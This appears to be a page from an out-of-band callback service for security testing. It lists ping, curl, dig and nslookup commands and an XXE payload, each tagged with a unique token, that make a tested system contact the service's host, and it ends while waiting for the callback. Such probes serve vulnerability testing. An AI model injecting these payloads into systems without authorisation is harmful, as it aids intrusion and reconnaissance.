$ ping -c1 -p 00b72e8f8f052ffc5082ccf39037b800 unhack.ca
 
$ curl http://unhack.ca/p/b72e8f8f052ffc5082ccf39037b8
 
$ dig b72e8f8f052ffc5082ccf39037b8 @unhack.ca
 
$ dig b72e8f8f052ffc5082ccf39037b8.ns.unhack.ca
 
C:\> nslookup b72e8f8f052ffc5082ccf39037b8 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b72e8f8f052ffc5082ccf39037b8">]>
    <foo>&xxe;</foo>
Waiting for ping...